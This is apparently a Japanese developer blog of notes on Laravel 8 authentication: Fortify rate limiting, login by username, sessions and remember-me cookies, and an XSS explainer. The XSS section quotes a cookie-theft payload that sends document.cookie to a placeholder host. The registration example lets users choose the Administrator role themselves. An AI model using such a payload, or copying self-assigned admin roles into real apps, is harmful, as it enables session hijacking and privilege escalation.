バリデーションでできるのかもしれませんが、単にAuth::logout()として、ログイン画面に飛ばせば良いですね。
$user = Auth::user(); if($user->name == "hpscript"){ Auth::logout(); return redirect('/login')->withErrors(array('name' => 'ログインできません。')); }
なかなか奥が深い。
ソフトウェアエンジニアの技術ブログ:Software engineer tech blog
随机应变 ABC: Always Be Coding
バリデーションでできるのかもしれませんが、単にAuth::logout()として、ログイン画面に飛ばせば良いですね。
$user = Auth::user(); if($user->name == "hpscript"){ Auth::logout(); return redirect('/login')->withErrors(array('name' => 'ログインできません。')); }
なかなか奥が深い。
Laravel8系の場合、LoginControllerが無くなり、fortifyになった。
それに伴い、以前まであった、一定時間内に規定の回数以上ログインに失敗した時にかかるロックが無効化されている。
### 仕組み
config/fortify.php
'limiters' => [ 'login' => null, ],
/vendor/laravel/fortify/routes/routes.php
$limiter = config('fortify.limiters.login');
#### Limit
app/Providers/RouteServiceProvider.php
L configureRateLimitingの中に書く。
RateLimiter::for('login', function (Request $request) { return new Limit('', 2, 5); });
config/fortify.php
'limiters' => [ 'login' => 'login', ],
Limitの使い方
class Limit (View source)
Properties
– mixed|string $key The rate limit signature key.
– int $maxAttempts The maximum number of attempts allowed within the given number of – minutes.
– int $decayMinutes The number of minutes until the rate limit is reset.
– callable $responseCallback The response generator callback.
Limit(”, 2, 5)だと、2回失敗したら、5分間は再ログインできなくなる。
どんくらいが妥当だろうか? 10回失敗したら10分とか?
パスワードの総当たり試行はブルートフォース攻撃というらしい。なるほどね。
ログイン時のエラーメッセージを変更したい。
Whoops! Something went wrong.
These credentials do not match our records.
/resources/lang/en/auth.php
'failed' => 'These credentials do not match our records.', 'password' => 'The provided password is incorrect.', 'throttle' => 'Too many login attempts. Please try again in :seconds seconds.',
これを/resources/lang/ja/にコピーして中身を変える。
「Whoops! Something went wrong.」の箇所を変えたいな。。
公式説明: https://readouble.com/laravel/8.x/ja/sanctum.html
https://laravel.com/docs/8.x/authentication
At its core, Laravel's authentication facilities are made up of "guards" and "providers". Guards define how users are authenticated for each request. For example, Laravel ships with a session guard which maintains state using session storage and cookies. Providers define how users are retrieved from your persistent storage. Laravel ships with support for retrieving users using Eloquent and the database query builder. However, you are free to define additional providers as needed for your application.
うーん、ちょっとよくわからんな。
vendor/laravel/framework/src/illuminate/Auth で処理してるのはわかるんだが、どこにイベントを追加すれば良いのか。。。
$ php -v
PHP 7.4.11 (cli) (built: Oct 21 2020 19:12:26) ( NTS )
### プロジェクト作成
$ composer create-project –prefer-dist laravel/laravel nonemail
$ cd nonemail
$ composer require laravel/jetstream
$ php artisan jetstream:install livewire
mysql> create database nonemail;
.env
DB_DATABASE=nonemail
$ php artisan migrate
$ npm install && npm run dev
### nameでログインできるようにする
config/fortify.php
'username' => 'name',
resources/views/auth/login.blade.php
<div> <x-jet-label for="name" value="{{ __('Name') }}" /> <x-jet-input id="name" class="block mt-1 w-full" type="name" name="name" :value="old('name')" required autofocus /> </div>
$ php artisan serve –host 192.168.33.10 –port 8000
// 動作確認
// L registerしてログアウト後、nameでログインできるか確認
$ php artisan make:migration change_users_table_column_email_nullable –table=users
2020_11_20_024033_change_users_table_column_email_nullable.php
public function up() { Schema::table('users', function (Blueprint $table) { // $table->dropUnique('users_email_unique'); $table->string('name')->unique()->change(); $table->string('email')->nullable()->change(); }); }
$ composer require doctrine/dbal
$ php artisan migrate
mysql> describe users;
+—————————+—————–+——+—–+———+—————-+
| Field | Type | Null | Key | Default | Extra |
+—————————+—————–+——+—–+———+—————-+
| id | bigint unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(255) | NO | UNI | NULL | |
| email | varchar(255) | YES | | NULL | |
| email_verified_at | timestamp | YES | | NULL | |
| password | varchar(255) | NO | | NULL | |
| two_factor_secret | text | YES | | NULL | |
| two_factor_recovery_codes | text | YES | | NULL | |
| remember_token | varchar(100) | YES | | NULL | |
| current_team_id | bigint unsigned | YES | | NULL | |
| profile_photo_path | text | YES | | NULL | |
| created_at | timestamp | YES | | NULL | |
| updated_at | timestamp | YES | | NULL | |
+—————————+—————–+——+—–+———+—————-+
12 rows in set (0.00 sec)
app/Actions/Fortify/CreateNewUser.php
L nameを’required’, ‘unique:users’にする
L emailから’required’を削除し、’nullable’を追加
public function create(array $input) { Validator::make($input, [ 'name' => ['required', 'string', 'max:255', 'unique:users'], 'email' => ['nullable', 'string', 'email', 'max:255'], 'password' => $this->passwordRules(), ])->validate(); return User::create([ 'name' => $input['name'], 'email' => $input['email'], 'password' => Hash::make($input['password']), ]); }
### tinkerで入れる場合
php artisan tinker
$user = new App\Models\User();
$user->password = Hash::make(‘password’);
$user->name = ‘yamada’;
$user->save();
### sql文で入れる場合
passwordをhash化する
$hashedpassword = password_hash('fugagua', PASSWORD_DEFAULT);
hash化したパスワードをインサート
INSERT INTO users (name, password, created_at, updated_at) VALUES (“ito”, “$2y$10$1Wix04F*********”, “2020-11-20 03:23:47”, “2020-11-20 03:23:47”);
以下のようにhash化せずにinsertするとログインできないので注意
INSERT INTO users (name, password, created_at, updated_at) VALUES (“ito”, “fugafuga”, “2020-11-20 03:23:47”, “2020-11-20 03:23:47”);
なるほど、8系はLoginControllerがなくなってるから焦ったわ。
$ composer require laravel/jetstream
$ php artisan jetstream:install livewire
jetstreamではLoginControllerは作成されない
config/fortify.php
->’username’ => ’email’を’name’に変更する。
'username' => 'name', 'email' => 'email',
resources/views/auth/login.blade.php
-> view側のtypeがemailになっているので、nameに変更。
<!-- <div> <x-jet-label for="email" value="{{ __('Email') }}" /> <x-jet-input id="email" class="block mt-1 w-full" type="email" name="email" :value="old('email')" required autofocus /> </div> --> <div> <x-jet-label for="name" value="{{ __('Name') }}" /> <x-jet-input id="name" class="block mt-1 w-full" type="name" name="name" :value="old('name')" required autofocus /> </div>
nameでログイン
ログインできました。
色々調べてわからんから、Auth/LoginController.phpとか作ってたけど、意味なかった orz…
取り敢えず、これで関門はクリアーしたから、さー設計書作るかー
疲れたから甘いもの食べたい
$ php artisan –version
Laravel Framework 8.12.3
$ php -v
PHP 7.4.11 (cli) (built: Oct 21 2020 19:12:26) ( NTS )
// まずサーバ起動
$ php artisan serve –host 192.168.33.10 –port 8000
### jetstream install
$ php composer.phar require laravel/jetstream
$ sudo mv composer.phar /usr/local/bin/composer
$ php artisan jetstream:install livewire
$ php artisan migrate
mysql> use test;
mysql> show tables;
+—————–+
| Tables_in_test |
+—————–+
| failed_jobs |
| migrations |
| password_resets |
| sessions |
| users |
+—————–+
5 rows in set (0.00 sec)
mysql> describe users;
+—————————+—————–+——+—–+———+—————-+
| Field | Type | Null | Key | Default | Extra |
+—————————+—————–+——+—–+———+—————-+
| id | bigint unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(255) | NO | | NULL | |
| email | varchar(255) | NO | UNI | NULL | |
| email_verified_at | timestamp | YES | | NULL | |
| password | varchar(255) | NO | | NULL | |
| two_factor_secret | text | YES | | NULL | |
| two_factor_recovery_codes | text | YES | | NULL | |
| remember_token | varchar(100) | YES | | NULL | |
| current_team_id | bigint unsigned | YES | | NULL | |
| profile_photo_path | text | YES | | NULL | |
| created_at | timestamp | YES | | NULL | |
| updated_at | timestamp | YES | | NULL | |
+—————————+—————–+——+—–+———+—————-+
12 rows in set (0.02 sec)
$ sudo npm install -g n
$ sudo n stable
$ node -v
v14.15.0
$ npm run dev
$ php artisan serve –host 192.168.33.10 –port 8000
http://192.168.33.10:8000/login
http://192.168.33.10:8000/register
OK!
# XSSとは
-入力フォームに、jsコードやhtmlタグを入力する攻撃
-例:input formにscriptタグ挿入
<script> window.alert('アラートメッセージ'); </script>
## XSS 具体例
### セッションハイジャック
Cookieにhttponly属性がついていない場合、jsのdocument.cookieを読み取ることで、Cookieに含まれているセッション情報を盗み見ることが可能
– 具体的には、不正なサイトに誘導され、セッションIDを不正表示させて、セッション情報を盗み取る
document.location="http://hoge/cookie.cgi?cookie="+document.cookie"
※JavaScriptで保存する方法では、CookieはそのJavaScriptが実行されるページのドメインと関連付けられる
– セッションIDが固定の場合も、盗み取られるリスクが高くなる
## サニタイジング(エスケープ方法)
### PHP
htmlspecialchars関数でサニタイジングを行う
$data = htmlspecialchars($str, ENT_QUOTES, 'utf-8');
### Laravel
viewで{{}}で囲うと、自動的にhtmlentites関数をかけて出力する
## セッションクッキーの有効期限
### Laravelのセッションクッキーの有効期限
config/session.php
デフォルトでは120分で設定されている。セッション無期限の場合はリスクが高まる
'lifetime' => env('SESSION_LIFETIME', 120),
## session IDとは
ブラウザ側ではCookieでsession IDを保存する
セッションを一意に識別するための情報
cookieの値は、.envのAPP_KEYを用いて復号化される
.envでSESSION_DRIVERはcookieと設定されている
SESSION_DRIVER=cookie
### laravel_sessionの値
session情報はユーザログインする毎にIDが更新される
### XSRF_TOKEN
CSRF(クロスサイトリクエストフォージェリ)対策に使用するためのTOKENデータ
### cookieのsessionデータを取得
$data = $request->session()->all(); dd($data);
array:5 [▼ "_token" => "WZjodO3c6IVXifN9uK9iFgalJHvDn******" "_flash" => array:2 [▶] "url" => [] "_previous" => array:1 [▼ "url" => "http://192.168.33.10:8000/admin" ] "login_web_59ba36addc2b2f9401580f014c7*******" => 2 ]
sessionに保存されているユーザidのkeyは’id’ではなく、”login_web_****”となっているのがわかる。
その為、$request->session()->get(‘id’);では、idは取得できない。
Illuminate\Session\Store.php
public function __construct($name, SessionHandlerInterface $handler, $id = null) { $this->setId($id); $this->name = $name; $this->handler = $handler; } // 省略 public function migrate($destroy = false) { if ($destroy) { $this->handler->destroy($this->getId()); } $this->setExists(false); $this->setId($this->generateSessionId()); return true; } // 省略 public function setId($id) { $this->id = $this->isValidId($id) ? $id : $this->generateSessionId(); }
sessionのstore.phpを見ると、$idからsessionIdをsetしていることがわかる。
login_web_*のvalueから認証しているように見えるが、laravelの公式ドキュメントを見ても、laravel_sessionのロジックは一切書いてないな(笑)
– authのユーザ登録(/register)の項目をカスタマイズする
–> デフォルトのカラムに対し、usersテーブルにrole_id(admin/subscriber)が追加されており、authのユーザ登録(/register)でも、role_idのradioボタンを追加して登録できるようにしたい
### usersテーブル
Schema::create('users', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('role_id')->nullable(); $table->string('name'); $table->string('email')->unique(); $table->timestamp('email_verified_at')->nullable(); $table->string('password'); $table->rememberToken(); $table->timestamps(); });
### register.blade.php
/resources/views/auth/register.blade.php
<div class="card-body"> <form method="POST" action="{{ route('register') }}"> @csrf // 省略 <div class="col-md-6"> <div class="form-inline"> <div class="form-check"> <input id="role_id" type="radio" class="form-control mr-1 @error('role_id') is-invalid @enderror" name="role_id" value="1" required autocomplete="off" checked> <label class="form-check-label mr-3" type="radio">Administrator</label> </div> <div class="form-check"> <input id="role_id" type="radio" class="form-control mr-1 @error('role_id') is-invalid @enderror" name="role_id" value="2" required autocomplete="off"> <label class="form-check-label mr-3" type="radio">Subscriber</label> </div> </div> @error('role_id') <span class="invalid-feedback" role="alert"> <strong>{{ $message }}</strong> </span> @enderror </div> </div> // 省略 </form> </div>
### RegisterController.php
app/Http/Controllers/Auth/RegisterController.php
protected function validator(array $data) { return Validator::make($data, [ 'name' => ['required', 'string', 'max:255'], 'role_id' => ['required'], 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'], 'password' => ['required', 'string', 'min:8', 'confirmed'], ]); } /** * Create a new user instance after a valid registration. * * @param array $data * @return \App\User */ protected function create(array $data) { return User::create([ 'name' => $data['name'], 'role_id' => $data['role_id'], 'email' => $data['email'], 'password' => Hash::make($data['password']), ]); }
### User.php
protected $fillable = [ 'name', 'email', 'role_id', 'password', ];
mysql> select * from users;
$dataとしてPOSTされたデータをcreateしている。
よく編集されるページなのか、RegisterController.phpは非常に分かりやすい構造になっています。
ログイン時のsessionの扱いについて見てみましょう。
### laravel session
login画面にアクセスすると、tokenに加え、laravel_sessionのcookieが付与されます。
– ログイン前
– ログイン後
### cookiの設定
app/config/session.php
-> デフォルトでは120分、ブラウザを閉じても保存されたまま
-> セッションが切れると、ユーザ認証は不可能になる
'lifetime' => env('SESSION_LIFETIME', 120), 'expire_on_close' => false,
### Remember meにcheckを入れてログイン
– ログイン前
– ログイン後
-> remember_web_* のcookieが新たに発行されている
-> remember_web_*があれば、120分で、laravel_sessionが切れても、ログオフしない限り5年間ログインなしでアクセス可能になる。
remember meを実装するかどうかは、サービス内容やセキュリティポリシーによるので、よく考えて検討した方が良さそうです。自分以外のパソコンや端末からログインする機会は、割と溢れてますからね。